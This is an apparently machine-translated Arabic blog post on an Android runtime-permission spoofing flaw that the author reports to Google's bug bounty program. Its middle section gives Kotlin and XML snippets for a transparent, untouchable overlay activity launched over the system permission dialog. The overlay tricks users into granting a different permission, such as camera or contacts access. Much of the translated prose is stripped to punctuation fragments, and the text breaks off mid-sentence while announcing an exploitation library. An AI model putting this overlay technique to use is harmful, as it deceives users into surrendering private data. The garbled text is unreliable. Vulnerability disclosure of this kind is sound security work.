مرحبا اسمي فيتالي.
أبلغ من العمر 25 عامًا ، وتخرج من جامعة سانت بطرسبرغ الحكومية الكهروتقنية "LETI" في مسقط رأسه. لقد كنت أبرمج لمدة 10 سنوات ، 4 منها كنت أكتب لنظام Android. مؤلف العديد من برامج Homebrew ، المعروفة باسم VITTACH ، لجهاز Sony PlayStation Portable (PSP) .
أود اليوم أن أناقش معكم مشكلة أمان تطبيقات الهاتف المحمول. يعمل المطورون في Google باستمرار على تحسين Android ، وإيجاد وإصلاح الثغرات بمساعدة مجتمع كبير تم جمعه بفضل برنامج Android Security Rewards ، والذي سنتحدث عنه لاحقًا. ومع ذلك ، لا تزال المشاكل قائمة ، ومن مهمتنا المشتركة كمجتمع الإبلاغ عنها حتى يتم حلها في الوقت المناسب.
نقاط الضعف التي أتحدث عنها تنتمي إلى الفئة ذات الأولوية: P2 والخطورة: S2 ، وهذا وفقًا للجدول بمعنى واسع ، يعني:
مشكلة تحتاج إلى حل في إطار زمني معقول ؛
قضية مهمة لنسبة كبيرة من المستخدمين وترتبط بالوظائف الأساسية.
إذن وقت التشغيل
ستركز المقالة على مثل هذا الشيء المعروف لجميع المطورين باسم إذن وقت التشغيل ، أي إمكانية تضليل المستخدم النهائي من خلال إظهار مربع حوار الإذن بنصه وأيقونة النظام الخاصة به. من السهل تخمين أن مثل هذا النهج سيسمح للمطورين بمطالبة المستخدم بالإذن ، على سبيل المثال ، لنظام الملفات ، وفي الواقع - لإتاحة الوصول إلى الموقع الجغرافي أو الكاميرا أو أي شيء آخر.
هذا مستحيل
تم طرح سؤال مماثل أكثر من مرة في المنتديات المتخصصة ، ولا سيما على StackOverflow . الجواب الصحيح الوحيد كان أنه مستحيل. وهذا صحيح بالفعل: من المستحيل استبدال النص في مربع حوار النظام نفسه ، ولكن من الممكن تجاوزه بنصك الخاص.
ماذا يوجد تحت الغطاء
Runtime Permission Android 6.0
dangerous-. , . dangerous .
Dangerous permissions
android.permission_group.CALENDAR
android.permission.READ_CALENDAR
android.permission.WRITE_CALENDAR
android.permission_group.CAMERA
android.permission.CAMERA
android.permission_group.CONTACTS
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.GET_ACCOUNTS
android.permission_group.LOCATION
android.permission.ACCESSFINELOCATION
android.permission.ACCESSCOARSELOCATION
android.permission_group.MICROPHONE
android.permission.RECORD_AUDIO
android.permission_group.PHONE
android.permission.READPHONESTATE
android.permission.CALL_PHONE
android.permission.READCALLLOG
android.permission.WRITECALLLOG
android.permission.ADD_VOICEMAIL
android.permission.USE_SIP
android.permission.PROCESSOUTGOINGCALLS
android.permission_group.SENSORS
android.permission.BODY_SENSORS
android.permission_group.SMS
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.READ_SMS
android.permission.RECEIVEWAPPUSH
android.permission.RECEIVE_MMS
android.permission.READCELLBROADCASTS
android.permission_group.STORAGE
android.permission.READEXTERNALSTORAGE
android.permission.WRITEEXTERNALSTORAGE
Android GrantPermissionsActivity, .
ActivityCompat.requestPermissions(
MainActivity.this,
arrayOf(Manifest.permission.READ_CONTACTS),
PERMISSION_REQUEST_CODE
)

Activity, UI , Activity, .
:
Activity android:windowIsTranslucent=true
( Activity , , ) Activity , . Activity Activity .

– Activity , – Activity . Activity, ?

, , , , . , :

Activity , onResume
onPause
. Activity.
, Activity , . – !
,
Kotlin
,
<style name="Theme.Transparent" parent="AppTheme"> <item name="android:windowBackground">@android:color/transparent</item> <item name="android:windowIsTranslucent">true</item> </style>
Activity
... <activity android:name=".PermissionActivity" android:theme="@style/Theme.Transparent">
PermissionActivity layout
onCreate :
window.addFlags( FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE )
:
FLAG_NOT_FOCUSABLE
: window,FLAG_NOT_FOCUSABLE
, ;
FLAG_NOT_TOUCH_MODAL
: , , , ;
FLAG_NOT_TOUCHABLE
: .
MainActivity
ActivityCompat.requestPermissions( MainActivity.this, arrayOf(Manifest.permission.READ_CONTACTS), REQUEST_CODE )
MainActivity : PermissionActivity.
startActivity(Intent(this, PermissionActivity::class.java))
PermissionActivity Activity . !
Android >= 7.1.1
Runtime Permission Android 6.0
, 7.1.1
, .. Android
.
Android 6.0
, . , Google .

Android Rewards Program
لقد قدمت طلبًا وأرفقت جميع المستندات التوضيحية والشرح المتعلقة بهذه الثغرة الأمنية. في الوقت الحالي ، التطبيق قيد الدراسة ، لذا لا يمكنني الإفصاح عن التفاصيل ، لأنني وقعت على الاتفاقية المقابلة.
كيف هو أسهل؟
لتسهيل استغلال الثغرة الأمنية ، كتبت مكتبة